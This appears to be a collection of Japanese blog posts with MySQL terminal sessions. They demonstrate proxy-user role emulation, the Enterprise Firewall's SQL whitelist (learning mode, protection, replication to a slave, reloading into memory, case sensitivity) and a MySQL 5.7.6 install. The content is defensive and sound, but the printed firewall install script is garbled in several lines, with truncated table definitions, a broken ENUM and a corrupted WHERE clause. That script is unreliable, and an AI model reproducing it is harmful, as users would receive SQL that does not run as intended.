+-------------------+----------------------+-----------------------+
1 row in set (0.00 sec)

admin_1@localhost [(none)]> show variables like '%proxy%';
+-----------------------------------+-----------------------+
| Variable_name                     | Value                 |
+-----------------------------------+-----------------------+
| check_proxy_users                 | ON                    |
| mysql_native_password_proxy_users | ON                    |
| proxy_user                        | 'admin_1'@'localhost' |
| sha256_password_proxy_users       | OFF                   |
+-----------------------------------+-----------------------+
4 rows in set (0.00 sec)

admin_1@localhost [(none)]> SHOW GRANTS;
+----------------------------------------------------------------+
| Grants for proxy_base@localhost                                |
+----------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'proxy_base'@'localhost'                 |
| GRANT SELECT, DELETE ON `USER01`.* TO 'proxy_base'@'localhost' |
+----------------------------------------------------------------+
2 rows in set (0.00 sec)

admin_1@localhost [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| USER01             |
+--------------------+
2 rows in set (0.00 sec)

admin_1@localhost [(none)]>

admin_1@localhost [(none)]> select * from USER01.T_ONLINE_DDL;
+----+-----------------+
| id | text            |
+----+-----------------+
|  1 | Group by Test A |
|  2 | Group by Test A |
|  3 | Group by Test A |
|  4 | Group by Test B |
|  5 | Group by Test B |
|  6 | Group by Test B |
|  7 | Group by Test C |
|  8 | Group by Test C |
|  9 | Group by Test C |
+----+-----------------+
9 rows in set (0.00 sec)

admin_1@localhost [(none)]> 

admin_1@localhost [(none)]> delete from USER01.T_CSV01 where id = 1;
Query OK, 1 row affected (0.00 sec)

admin_1@localhost [(none)]> 

SHOW GRANTSにて権限の確認
grants

オプション設定、権限付与確認
proxy_user

他の、商用DBには以前から実装されているROLE権限ですが、
MySQL5.7RCではMySQL Proxyという方法で同様の権限管理が出来るようになりました。

6.3.10 Proxy Users


先日、ご紹介させて頂いた、MySQL Enterprise Firewallを利用する事により、
White ListベースのDBアクセス制御(ステートメントベース)をUserアカウントとSQLステートメントの
組み合わせで実装する事が出来ますが、Publicクラウドを含む環境でWebサイトを運用されている場合は、Replication機能と組み合わせてご利用される場合もあるかと思います。

MySQL Enterprise Firewallには、全部で4つのテーブルがありますが、
(Information_Schemaに2つMySQLに2つテーブルが準備されています)
information_schemaにあるテーブルに関しては、レプリケーション対象外なので実際にSlaveに同期されるのは以下の2つのテーブルという事になります。

firewall-diag

root@localhost [information_schema]> show tables from mysql like '%fire%';
+--------------------------+
| Tables_in_mysql (%fire%) |
+--------------------------+
| firewall_users           |
| firewall_whitelist       |
+--------------------------+

また、MySQL Enterprise FirewallのWhite Listはメモリー上にCacheされているので、
スレーブに同期された段階では直ぐにスレーブ側では有効にならないので、
以下のマニュアルに記載されているように、コマンドでメモリーに反映する必要があります。

6.3.15.4 MySQL Enterprise Firewall Reference

実際のMySQL Enterprise FirewallとReplicationの動作をこちらでご紹介します。

既存、White Listに定義を追加してSlave側で確認してみます。

MASTER


root@localhost [mysql]> select * from firewall_whitelist;
+-------------------+------------------------------------------------------------------------------+
| USERHOST          | RULE                                                                         |
+-------------------+------------------------------------------------------------------------------+
| fw_user@localhost | SELECT `id` , `fname` , `lname` , `cnumber` FROM `card_info` WHERE `id` = ?  |
+-------------------+------------------------------------------------------------------------------+
1 row in set (0.00 sec)

root@localhost [mysql]> CALL sp_set_firewall_mode('fw_user@localhost','RECORDING');
+-----------------------------------------------+
| read_firewall_whitelist(arg_userhost,FW.rule) |
+-----------------------------------------------+
| Imported users: 0  Imported rules: 0       |
+-----------------------------------------------+
1 row in set (0.00 sec)

+-------------------------------------------+
| set_firewall_mode(arg_userhost, arg_mode) |
+-------------------------------------------+
| OK                                        |
+-------------------------------------------+
1 row in set (0.00 sec)

Query OK, 1 row affected (0.00 sec)

root@localhost [mysql]> CALL sp_set_firewall_mode('fw_user@localhost','PROTECTING');
+-------------------------------------------+
| set_firewall_mode(arg_userhost, arg_mode) |
+-------------------------------------------+
| OK                                        |
+-------------------------------------------+
1 row in set (0.01 sec)

Query OK, 3 rows affected (0.01 sec)

root@localhost [mysql]> select * from firewall_whitelist;
+-------------------+------------------------------------------------------------------------------+
| USERHOST          | RULE                                                                         |
+-------------------+------------------------------------------------------------------------------+
| fw_user@localhost | SELECT `id` , `fname` , `lname` , `cnumber` FROM `card_info` WHERE `id` = ?  |
| fw_user@localhost | SELECT * FROM `card_info` WHERE `id` = ?                                     |
| fw_user@localhost | SELECT SYSTEM_USER ( )                                                       |
+-------------------+------------------------------------------------------------------------------+
3 rows in set (0.00 sec)

root@localhost [mysql]> 

White List追加前の状態
master_slave

White List対象ユーザーでMasterにアクセスしてWhite ListにSQLステートメントを追加
※ マスター側でRECORDING状態の段階で実行

fw_user@localhost [test]> SELECT * FROM card_info WHERE id = 1;
+----+--------+-----------+---------------------+
| id | fname  | lname     | cnumber             |
+----+--------+-----------+---------------------+
|  1 | 佐藤   | さとう    | 1234-5678-9999-0123 |
+----+--------+-----------+---------------------+
1 row in set (0.00 sec)

SLAVE
White ListはReplicationの機能を使い、同期されているがまだメモリーに反映されていない為、
Master側で追加したSQLステートメントはブロックされる。


fw_user@localhost [test]> SELECT id,fname,lname,cnumber FROM card_info WHERE id = 1;
+----+--------+-----------+---------------------+
| id | fname  | lname     | cnumber             |
+----+--------+-----------+---------------------+
|  1 | 佐藤   | さとう    | 1234-5678-9999-0123 |
+----+--------+-----------+---------------------+
1 row in set (0.00 sec)

fw_user@localhost [test]> SELECT * FROM card_info WHERE id = 1;
ERROR 1045 (28000): Statement was blocked by Firewall
fw_user@localhost [test]> 

レプリケーションによるデータ同期
finish

White List Tableには反映されているが、Slave側ではメモリーに無い為まだBlockされる。
master

スレーブ側にて以下のコマンドを実施して、最新のWhite Listをメモリーに反映させる。
※ 権限のある、管理ユーザーで実行してください。
※ ここの処理は、マスターのWhite Listを追加する段階でバッチ処理として追加しておいた方が漏れが無くて良さそうです。


root@localhost [mysql]>  select * from firewall_whitelist;
+-------------------+------------------------------------------------------------------------------+
| USERHOST          | RULE                                                                         |
+-------------------+------------------------------------------------------------------------------+
| fw_user@localhost | SELECT SYSTEM_USER ( )                                                       |
| fw_user@localhost | SELECT `id` , `fname` , `lname` , `cnumber` FROM `card_info` WHERE `id` = ?  |
| fw_user@localhost | SELECT * FROM `card_info` WHERE `id` = ?                                     |
+-------------------+------------------------------------------------------------------------------+
3 rows in set (0.00 sec)

root@localhost [mysql]> SELECT read_firewall_whitelist('fw_user@localhost', 'RECORDING') FROM mysql.firewall_whitelist;
+-----------------------------------------------------------+
| read_firewall_whitelist('fw_user@localhost', 'RECORDING') |
+-----------------------------------------------------------+
| Imported users: 0   Imported rules: 1                     |
+-----------------------------------------------------------+
1 row in set (0.00 sec)

root@localhost [mysql]> SELECT read_firewall_users('fw_user@localhost', 'RECORDING') FROM mysql.firewall_users;
+-------------------------------------------------------+
| read_firewall_users('fw_user@localhost', 'RECORDING') |
+-------------------------------------------------------+
| Imported users: 0   Updated users:  1                 |
+-------------------------------------------------------+
1 row in set (0.01 sec)

root@localhost [mysql]>

メモ:以下のいずれかの方法でもMemoryに反映されます。
※ fw_user@localhostは検証用アカウントです、ご利用時は適宜書き換えて下さい。
■ Pattern1
CALL sp_set_firewall_mode(‘fw_user@localhost’,’RECORDING’);
CALL sp_set_firewall_mode(‘fw_user@localhost’,’PROTECTING’);

■ Pattern2
SELECT read_firewall_users(userhost, mode) from mysql.firewall_users;
SELECT read_firewall_whitelist(userhost, rule) from mysql.firewall_whitelist;

■ Pattern3
SELECT read_firewall_users(‘fw_user@localhost’, ‘RECORDING’) FROM mysql.firewall_users;
SELECT read_firewall_whitelist(‘fw_user@localhost’, ‘RECORDING’) FROM mysql.firewall_whitelist;

上記コマンドでSLAVE側に同期れた定義をメモリーにロードする事でSLAVE側でも実行する事が可能になりました。
※再起動でも反映されますが、殆どのケースで、オンラインで実施するのが現実的かと思います。


fw_user@localhost [test]> SELECT * FROM card_info WHERE id = 1;
ERROR 1045 (28000): Statement was blocked by Firewall
fw_user@localhost [test]> SELECT * FROM card_info WHERE id = 1;
+----+--------+-----------+---------------------+
| id | fname  | lname     | cnumber             |
+----+--------+-----------+---------------------+
|  1 | 佐藤   | さとう    | 1234-5678-9999-0123 |
+----+--------+-----------+---------------------+
1 row in set (0.00 sec)

fw_user@localhost [test]> 

master1

30日間 トライアル
MySQL Enterprise Edition トライアル
※ Publicクラウド環境などを使われている場合は,IDSやIPSを導入する事が難しく、
WAFを導入したりしている方もいらっしゃると思いますが、MySQLをご利用の場合は、
こちらのEnterprise Firewallを実装する事で、SQL Injectionの対策などがコストを抑えて対応する事が可能になります。

参照:
6.3.15.4 MySQL Enterprise Firewall Reference
MySQL Enterprise Firewall


どのようなシステムにも完全が無いように、
Webサイトのセキュリティに気を付けてコーディングしたり、セキュリティ診断しながら運用しても、
どこかしら運用している中でセキュリティ対策漏れが出て来てしまう事が往々にしてあります。
また、それらのセキュリティ問題は、社内システムに関しても同様です。

個人情報を管理しているデータベースや企業秘密情報を管理するデータベースに関しては、
IPSやFW機能などのアプライアンスなどでカバーしてくれる製品もありますが、
非常に高価なものが多いです。本日、検証し共有させて頂くMySQL Enterprise Firewall機能に関しては、
White List方法(2015年4月現在)を用いたデータベース側で不正アクセスをブロックする
MySQLデータベースのセキュリティ対策追加モジュールです。
もし、ご興味を持たれたら、是非 Oracle Software Delivery Cloud から、
30日間無償で検証出来るトライアルを使って検証してみて頂ければと思います。

動作確認MySQL Version

admin@192.168.56.201 [(none)]> select @@version;
+-------------------------------------------+
| @@version                                 |
+-------------------------------------------+
| 5.6.24-enterprise-commercial-advanced-log |
+-------------------------------------------+
1 row in set (0.00 sec)

インストールとPluginの状況確認

[admin@GA01 ~]$ mysql -u root -p mysql < /usr/local/mysql/share/linux_install_firewall.sql 
Enter password: 
[admin@GA01 ~]$ cat /usr/local/mysql/share/linux_install_firewall.sql
# Copyright (c) 2015 Oracle and/or its affiliates. All rights reserved.
# Install firewall tables
USE mysql;
CREATE TABLE IF NOT EXISTS mysql.firewall_whitelist( USERHOST VARCHAR(80) NOT NULL, RULE text Nne= MyISAM;
CREATE TABLE IF NOT EXISTS mysql.firewall_users( USERHOST VARCHAR(80) PRIMARY KEY, MODE ENUM ('ING', 'PROTECTING', 'RESET') DEFAULT 'OFF') engine= MyISAM;

INSTALL PLUGIN mysql_firewall SONAME 'firewall.so';
INSTALL PLUGIN mysql_firewall_whitelist SONAME 'firewall.so';
INSTALL PLUGIN mysql_firewall_users SONAME 'firewall.so';

CREATE FUNCTION set_firewall_mode RETURNS STRING SONAME 'firewall.so';
CREATE FUNCTION normalize_statement RETURNS STRING SONAME 'firewall.so';
CREATE AGGREGATE FUNCTION read_firewall_whitelist RETURNS STRING SONAME 'firewall.so';
CREATE AGGREGATE FUNCTION read_firewall_users RETURNS STRING SONAME 'firewall.so';
delimiter //
CREATE PROCEDURE sp_set_firewall_mode (IN arg_userhost VARCHAR(80), IN arg_mode varchar(12))
BEGIN
IF arg_mode = "RECORDING" THEN
  SELECT read_firewall_whitelist(arg_userhost,FW.rule) FROM mysql.firewall_whitelist FW WHERE Fg_userhost;
END IF;
SELECT set_firewall_mode(arg_userhost, arg_mode);
if arg_mode = "RESET" THEN
  SET arg_mode = "OFF";
END IF;
INSERT IGNORE INTO mysql.firewall_users VALUES (arg_userhost, arg_mode);
UPDATE mysql.firewall_users SET mode=arg_mode WHERE userhost = arg_userhost;

IF arg_mode = "PROTECTING" OR arg_mode = "OFF" THEN
  DELETE FROM mysql.firewall_whitelist WHERE USERHOST = arg_userhost;
  INSERT INTO mysql.firewall_whitelist SELECT USERHOST,RULE FROM INFORMATION_SCHEMA.mysql_firew WHERE USERHOST=arg_userhost;
END IF;
END //
delimiter ;


[admin@GA01 ~]$ 


root@GA01 [(none)]> select PLUGIN_NAME,PLUGIN_STATUS,PLUGIN_LIBRARY,PLUGIN_LICENSE,LOAD_OPTION
    -> from information_schema.plugins where PLUGIN_NAME like '%FIREWALL%';
+--------------------------+---------------+----------------+----------------+-------------+
| PLUGIN_NAME              | PLUGIN_STATUS | PLUGIN_LIBRARY | PLUGIN_LICENSE | LOAD_OPTION |
+--------------------------+---------------+----------------+----------------+-------------+
| MYSQL_FIREWALL           | ACTIVE        | firewall.so    | PROPRIETARY    | ON          |
| MYSQL_FIREWALL_WHITELIST | ACTIVE        | firewall.so    | PROPRIETARY    | ON          |
| MYSQL_FIREWALL_USERS     | ACTIVE        | firewall.so    | PROPRIETARY    | ON          |
+--------------------------+---------------+----------------+----------------+-------------+
3 rows in set (0.00 sec)

root@GA01 [(none)]> 

Install
install

Plugins
option

検証用ユーザー作成

root@GA01 [(none)]> GRANT ALL PRIVILEGES  ON test.* TO fw_user@localhost IDENTIFIED BY 'password';
Query OK, 0 rows affected (0.00 sec)

root@GA01 [(none)]> 


root@GA01 [mysql]> select user,host,password from user;
+---------+-----------+-------------------------------------------+
| user    | host      | password                                  |
+---------+-----------+-------------------------------------------+
| root    | localhost | *B51ECFBE1191DDE4713F2B6F5A6CD5D0D0D5DC35 |
| root    | 127.0.0.1 | *B51ECFBE1191DDE4713F2B6F5A6CD5D0D0D5DC35 |
| admin   | %         | *B51ECFBE1191DDE4713F2B6F5A6CD5D0D0D5DC35 |
| fw_user | localhost | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
+---------+-----------+-------------------------------------------+
4 rows in set (0.00 sec)

root@GA01 [mysql]> 

Firewall基本設定オプション
sp
詳細: 5.14.4.2 MySQL Enterprise Firewall Procedures and Functions

自動学習機能を有効にして、ステートメントをWhite Listに記録します


--- First register this account with the Firewall. 
--- You do this by calling the stored proceedure we created earlier:

root@GA01 [mysql]> CALL sp_set_firewall_mode('fw_user@localhost','RECORDING');
+-----------------------------------------------+
| read_firewall_whitelist(arg_userhost,FW.rule) |
+-----------------------------------------------+
| Imported users: 0   Imported rules: 0         |
+-----------------------------------------------+
1 row in set (0.01 sec)

+-------------------------------------------+
| set_firewall_mode(arg_userhost, arg_mode) |
+-------------------------------------------+
| OK                                        |
+-------------------------------------------+
1 row in set (0.01 sec)

Query OK, 0 rows affected (0.01 sec)

root@GA01 [mysql]> 

※ CALL sp_set_firewall_mode(‘ユーザー名’,’RECORDING’)は、運用開始後にWhite Listに値を追加する時にも使用します。

記録対象ユーザー(検証用ユーザー)でアクセスし、SQLステートメントを実際に登録してみます。

[admin@GA01 ~]$ mysql -u fw_user -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.6.24-enterprise-commercial-advanced-log MySQL Enterprise Server - Advanced Edition (Commercial)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

fw_user@localhost [(none)]> use test
Database changed

fw_user@localhost [test]> CREATE TABLE FW_DEMO
    -> (
    -> ID INT UNSIGNED AUTO_INCREMENT NOT NULL PRIMARY KEY,
    -> title VARCHAR(100)
    -> ) Engine=InnoDB CHARACTER SET utf8mb4;
Query OK, 0 rows affected (0.00 sec)

fw_user@localhost [test]> show tables;
+----------------+
| Tables_in_test |
+----------------+
| FW_DEMO        |
+----------------+
1 row in set (0.00 sec)

fw_user@localhost [test]> 

fw_user@localhost [test]> insert into FW_DEMO(title) values(concat('test firewall',@@version));
Query OK, 1 row affected (0.00 sec)

fw_user@localhost [test]> insert into FW_DEMO(title) values(concat('test firewall2',@@version));
Query OK, 1 row affected (0.00 sec)

fw_user@localhost [test]> insert into FW_DEMO(title) values(concat('test firewall3',@@version));
Query OK, 1 row affected (0.00 sec)

fw_user@localhost [test]> select * from FW_DEMO where id = 1;
+----+--------------------------------------------------------+
| ID | title                                                  |
+----+--------------------------------------------------------+
|  1 | test firewall5.6.24-enterprise-commercial-advanced-log |
+----+--------------------------------------------------------+
1 row in set (0.00 sec)

fw_user@localhost [test]> select * from FW_DEMO where id = 2;
+----+---------------------------------------------------------+
| ID | title                                                   |
+----+---------------------------------------------------------+
|  2 | test firewall25.6.24-enterprise-commercial-advanced-log |
+----+---------------------------------------------------------+
1 row in set (0.00 sec)

fw_user@localhost [test]> 

学習が終了したので、White Listを有効にして、リストにあるステートメントのみを許可します。

root@GA01 [mysql]> CALL sp_set_firewall_mode('fw_user@localhost','PROTECTING');
+-------------------------------------------+
| set_firewall_mode(arg_userhost, arg_mode) |
+-------------------------------------------+
| OK                                        |
+-------------------------------------------+
1 row in set (0.00 sec)

Query OK, 10 rows affected (0.00 sec)

root@GA01 [mysql]> 

fw_on

登録された、White Listの確認。

root@GA01 [mysql]> SELECT userhost, substr(rule,1,80) FROM mysql.firewall_whitelist WHERE userhost= 'fw_user@localhost';
+-------------------+----------------------------------------------------------------------------------+
| userhost          | substr(rule,1,80)                                                                |
+-------------------+----------------------------------------------------------------------------------+
| fw_user@localhost | SELECT SCHEMA ( )                                                                |
| fw_user@localhost | SHOW TABLES                                                                      |
| fw_user@localhost | INSERT INTO `FW_DEMO` ( `title` ) VALUES ( `concat` ( ? , @@version ) )          |
| fw_user@localhost | DESC `FW_DEMO`                                                                   |
| fw_user@localhost | SELECT * FROM `FW_DEMO` WHERE `id` = ?                                           |
| fw_user@localhost | CREATE TABLE `FW_DEMO` ( `ID` INTEGER UNSIGNED AUTO_INCREMENT NOT NULL PRIMARY K |
| fw_user@localhost | SHOW SCHEMAS                                                                     |
| fw_user@localhost | SELECT SYSTEM_USER ( )                                                           |
| fw_user@localhost | SELECT @@version_comment LIMIT ?                                                 |
| fw_user@localhost | SELECT * FROM SYSTEM_USER                                                        |
+-------------------+----------------------------------------------------------------------------------+
10 rows in set (0.00 sec)

root@GA01 [mysql]> SELECT * FROM information_schema.mysql_firewall_users;
+-------------------+------------+
| USERHOST          | MODE       |
+-------------------+------------+
| fw_user@localhost | PROTECTING |
+-------------------+------------+
1 row in set (0.00 sec)

root@GA01 [mysql]> 

rule_status

実際に対象ユーザー(fw_user@localhost)でアクセスしてみて、データベースが防御されているか確認。


fw_user@localhost [test]> select * from FW_DEMO where id = 1;
+----+--------------------------------------------------------+
| ID | title                                                  |
+----+--------------------------------------------------------+
|  1 | test firewall5.6.24-enterprise-commercial-advanced-log |
+----+--------------------------------------------------------+
1 row in set (0.00 sec)

fw_user@localhost [test]> select * from FW_DEMO where id = 2;
+----+---------------------------------------------------------+
| ID | title                                                   |
+----+---------------------------------------------------------+
|  2 | test firewall25.6.24-enterprise-commercial-advanced-log |
+----+---------------------------------------------------------+
1 row in set (0.00 sec)

fw_user@localhost [test]> select * from FW_DEMO where id = 3;
+----+---------------------------------------------------------+
| ID | title                                                   |
+----+---------------------------------------------------------+
|  3 | test firewall35.6.24-enterprise-commercial-advanced-log |
+----+---------------------------------------------------------+
1 row in set (0.00 sec)

fw_user@localhost [test]> select * from FW_DEMO;
ERROR 1045 (28000): Statement was blocked by Firewall
fw_user@localhost [test]> 


root@GA01 [mysql]> SHOW STATUS LIKE 'Firewall%';
+-------------------------+-------+
| Variable_name           | Value |
+-------------------------+-------+
| Firewall_access_denied  | 10    |
| Firewall_access_granted | 6     |
| Firewall_cached_entries | 10    |
+-------------------------+-------+
3 rows in set (0.00 sec)

root@GA01 [mysql]> 

※ 上記を確認頂くと、テーブル全体のデータを持っていこうとする処理はブロックされています。

protected

SQLのエラーログにも記録されている事が確認出来ます。


[root@GA01 data]# tail -n 2 error.log 
2015-04-13 22:40:21 3321 [Note] Plugin MYSQL_FIREWALL reported: 'ACCESS DENIED for fw_user@localhost. Reason: No match in whitelist. Statement: SELECT * FROM `FW_DEMO` '
2015-04-13 22:41:25 3321 [Note] Plugin MYSQL_FIREWALL reported: 'ACCESS DENIED for fw_user@localhost. Reason: No match in whitelist. Statement: SELECT * FROM `FW_DEMO` '
[root@GA01 data]# 

White Listの設定をOFFにしたい場合は、以下のコマンドでリセットする事が可能です。

root@GA01 [mysql]> CALL sp_set_firewall_mode('fw_user@localhost','RESET');
+-------------------------------------------+
| set_firewall_mode(arg_userhost, arg_mode) |
+-------------------------------------------+
| OK                                        |
+-------------------------------------------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

root@GA01 [mysql]> SELECT * FROM information_schema.mysql_firewall_users;
+-------------------+------+
| USERHOST          | MODE |
+-------------------+------+
| fw_user@localhost | OFF  |
+-------------------+------+
1 row in set (0.00 sec)

root@GA01 [mysql]> 

リセット結果は、全部のデータをSELECTしてもブロックされて無い事で確認出来ます。
after_reset

補足:

 CALL sp_set_firewall_mode('fw_user@localhost','OFF'); 

でもWhite ListをOFFにしてSQLステートメントをブロックされないようにする事が可能です。

関連テーブルとProcedure
基本的には、以下のテーブルを利用してモジュールをコントロールしています。
今後、更にMySQL5.7との連携や機能拡張が行われて行く事になるかと思います。


root@GA01 [information_schema]> select TABLE_SCHEMA,TABLE_NAME from information_schema.tables
    -> where TABLE_NAME like '%fire%';
+--------------------+--------------------------+
| TABLE_SCHEMA       | TABLE_NAME               |
+--------------------+--------------------------+
| information_schema | MYSQL_FIREWALL_WHITELIST |
| information_schema | MYSQL_FIREWALL_USERS     |
| mysql              | firewall_users           |
| mysql              | firewall_whitelist       |
+--------------------+--------------------------+
4 rows in set (0.01 sec)

root@GA01 [information_schema]> 



root@GA01 [mysql]> show create procedure sp_set_firewall_mode\G
*************************** 1. row ***************************
           Procedure: sp_set_firewall_mode
            sql_mode: STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION
    Create Procedure: CREATE DEFINER=`root`@`localhost` PROCEDURE `sp_set_firewall_mode`(IN arg_userhost VARCHAR(80), IN arg_mode varchar(12))
BEGIN
IF arg_mode = "RECORDING" THEN
  SELECT read_firewall_whitelist(arg_userhost,FW.rule) FROM mysql.firewall_whitelist FW WHERE FW.userhost=arg_userhost;
END IF;
SELECT set_firewall_mode(arg_userhost, arg_mode);
if arg_mode = "RESET" THEN
  SET arg_mode = "OFF";
END IF;
INSERT IGNORE INTO mysql.firewall_users VALUES (arg_userhost, arg_mode);
UPDATE mysql.firewall_users SET mode=arg_mode WHERE userhost = arg_userhost;

IF arg_mode = "PROTECTING" OR arg_mode = "OFF" THEN
  DELETE FROM mysql.firewall_whitelist WHERE USERHOST = arg_userhost;
  INSERT INTO mysql.firewall_whitelist SELECT USERHOST,RULE FROM INFORMATION_SCHEMA.mysql_firewall_whitelist WHERE USERHOST=arg_userhost;
END IF;
END
character_set_client: utf8
collation_connection: utf8_general_ci
  Database Collation: utf8_general_ci
1 row in set (0.00 sec)

root@GA01 [mysql]> 


Case Sensitve
大切なデータを守る為には、コーディングルールを決める必要がありますね。

fw_user@localhost [test]> select * from FW_DEMO where ID = 1;
+----+--------------------------------------------------------+
| ID | title                                                  |
+----+--------------------------------------------------------+
|  1 | test firewall5.6.24-enterprise-commercial-advanced-log |
+----+--------------------------------------------------------+
1 row in set (0.00 sec)

fw_user@localhost [test]> select * from FW_DEMO where id = 1;
ERROR 1045 (28000): Statement was blocked by Firewall
fw_user@localhost [test]> 

case_sensitive

OverHead (抜粋)
Firewall takes those digests and compares them against an in-memory hash.
Matching a query against a whitelist of course adds a little extra processing
and our preliminary testing has shown under concurrent stress level loads
only a 2-3% performance impact added by running the firewall.

参照:
New MySQL Enterprise Firewall – Prevent SQL Injection Attacks

5.14.3 Using MySQL Enterprise Firewall

5.14.4.2 MySQL Enterprise Firewall Procedures and Functions
5.14.4.3 MySQL Enterprise Firewall System Variables


MySQL5.7.6DMRが今月リリースされて、色々な機能追加や改善が施されているので、
DMRのうちに少しずつ検証してRCとGAに備えたいと思います。
とりあえず、本日は初期設定まで。

2015年3月現在
DRM

MySQL 5.7 Release Notes
http://dev.mysql.com/doc/relnotes/mysql/5.7/en/index.html

ダウンロードサイトからDMRをダウンロードしてきてあります。
mysql-5.7.6-m16-linux-glibc2.5-x86_64.tar.gz

[root@misc01 admin]# cd /usr/local/
[root@misc01 local]# ls -l
合計 545048
drwxr-xr-x. 2 root  root          6  6月 10  2014 bin
drwxr-xr-x. 2 root  root          6  6月 10  2014 etc
drwxr-xr-x. 2 root  root          6  6月 10  2014 games
drwxr-xr-x. 2 root  root          6  6月 10  2014 include
drwxr-xr-x. 2 root  root          6  6月 10  2014 lib
drwxr-xr-x. 2 root  root          6  6月 10  2014 lib64
drwxr-xr-x. 2 root  root          6  6月 10  2014 libexec
-rw-rw-r--. 1 admin admin 558127440  3月 28 06:49 mysql-5.7.6-m16-linux-glibc2.5-x86_64.tar.gz
drwxr-xr-x. 2 root  root          6  6月 10  2014 sbin
drwxr-xr-x. 5 root  root         46  3月 28 07:02 share
drwxr-xr-x. 2 root  root          6  6月 10  2014 src
[root@misc01 local]# 
[root@misc01 local]# tar xzvf mysql-5.7.6-m16-linux-glibc2.5-x86_64.tar.gz
[root@misc01 local]# groupadd mysql
[root@misc01 local]# useradd -r -g mysql mysql
[root@misc01 local]# ls -l
合計 545052
drwxr-xr-x.  2 root  root          6  6月 10  2014 bin
drwxr-xr-x.  2 root  root          6  6月 10  2014 etc
drwxr-xr-x.  2 root  root          6  6月 10  2014 games
drwxr-xr-x.  2 root  root          6  6月 10  2014 include
drwxr-xr-x.  2 root  root          6  6月 10  2014 lib
drwxr-xr-x.  2 root  root          6  6月 10  2014 lib64
drwxr-xr-x.  2 root  root          6  6月 10  2014 libexec
drwxr-xr-x. 11 root  root       4096  3月 28 08:30 mysql-5.7.6-m16-linux-glibc2.5-x86_64
-rw-rw-r--.  1 admin admin 558127440  3月 28 06:49 mysql-5.7.6-m16-linux-glibc2.5-x86_64.tar.gz
drwxr-xr-x.  2 root  root          6  6月 10  2014 sbin
drwxr-xr-x.  5 root  root         46  3月 28 07:02 share
drwxr-xr-x.  2 root  root          6  6月 10  2014 src
[root@misc01 local]# ln -s mysql-5.7.6-m16-linux-glibc2.5-x86_64 mysql
[root@misc01 local]# ls -l
合計 545052
drwxr-xr-x.  2 root  root          6  6月 10  2014 bin
drwxr-xr-x.  2 root  root          6  6月 10  2014 etc
drwxr-xr-x.  2 root  root          6  6月 10  2014 games
drwxr-xr-x.  2 root  root          6  6月 10  2014 include
drwxr-xr-x.  2 root  root          6  6月 10  2014 lib
drwxr-xr-x.  2 root  root          6  6月 10  2014 lib64
drwxr-xr-x.  2 root  root          6  6月 10  2014 libexec
lrwxrwxrwx.  1 root  root         37  3月 28 08:32 mysql -> mysql-5.7.6-m16-linux-glibc2.5-x86_64
drwxr-xr-x. 11 root  root       4096  3月 28 08:30 mysql-5.7.6-m16-linux-glibc2.5-x86_64
-rw-rw-r--.  1 admin admin 558127440  3月 28 06:49 mysql-5.7.6-m16-linux-glibc2.5-x86_64.tar.gz
drwxr-xr-x.  2 root  root          6  6月 10  2014 sbin
drwxr-xr-x.  5 root  root         46  3月 28 07:02 share
drwxr-xr-x.  2 root  root          6  6月 10  2014 src
[root@misc01 local]# 

展開して初期DBを設定します
5.7以降で設定方法が変わっていたのを忘れていました… 詳細は此方をご確認ください。
2.9.1.1 Initializing the Data Directory Using mysqld
http://dev.mysql.com/doc/refman/5.7/en/data-directory-initialization-mysqld.html
4.4.2 mysql_install_db — Initialize MySQL Data Directory
http://dev.mysql.com/doc/refman/5.7/en/mysql-install-db.html

初期root用のpasswordもこちらでランダムに作成されています。
初回ログイン時に変更してしまいましょう。

[root@misc01 local]# cd mysql
[root@misc01 mysql]# chown -R mysql .
[root@misc01 mysql]# chgrp -R mysql .
[root@misc01 mysql]# scripts/mysql_install_db --user=mysql
bash: scripts/mysql_install_db: そのようなファイルやディレクトリはありません
[root@misc01 mysql]# bin/mysqld --initialize --user=mysql
2015-03-27T23:40:52.379590Z 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated. Please use --explicit_defaults_for_timestamp server option (see documentation for more details).
2015-03-27T23:40:53.301410Z 0 [Warning] InnoDB: New log files created, LSN=45790
2015-03-27T23:40:53.421318Z 0 [Warning] InnoDB: Creating foreign key constraint system tables.
2015-03-27T23:40:53.487611Z 0 [Warning] Failed to setup SSL
2015-03-27T23:40:53.487667Z 0 [Warning] SSL error: SSL context is not usable without certificate and private key
2015-03-27T23:40:53.490120Z 1 [Warning] A temporary password is generated for root@localhost: Bfd,psIvR4*e
[root@misc01 mysql]# chown -R root .
[root@misc01 mysql]# chown -R mysql data

初期設定が終わったので、起動してログインしてみます。

[root@misc01 mysql]# bin/mysqld_safe --user=mysql &
[1] 4910
[root@misc01 mysql]# 150328 08:51:25 mysqld_safe Logging to '/usr/local/mysql/data/misc01.err'.
150328 08:51:25 mysqld_safe Starting mysqld daemon with databases from /usr/local/mysql/data

[root@misc01 mysql]#

[root@misc01 mysql]# ./bin/mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.7.6-m16

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.7.6-m16 |
+-----------+
1 row in set (0.01 sec)

mysql> 
mysql> ALTER USER 'root'@'localhost' IDENTIFIED BY 'password';
Query OK, 0 rows affected (0.00 sec)

mysql> exit
Bye
[root@misc01 mysql]# 

[root@misc01 mysql]# ps -ef | grep mysql
root      4910  1883  0 08:51 pts/0    00:00:00 /bin/sh bin/mysqld_safe --user=mysql
mysql     4992  4910  0 08:51 pts/0    00:00:00 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin --user=mysql --log-error=/usr/local/mysql/data/misc01.err --pid-file=/usr/local/mysql/data/misc01.pid
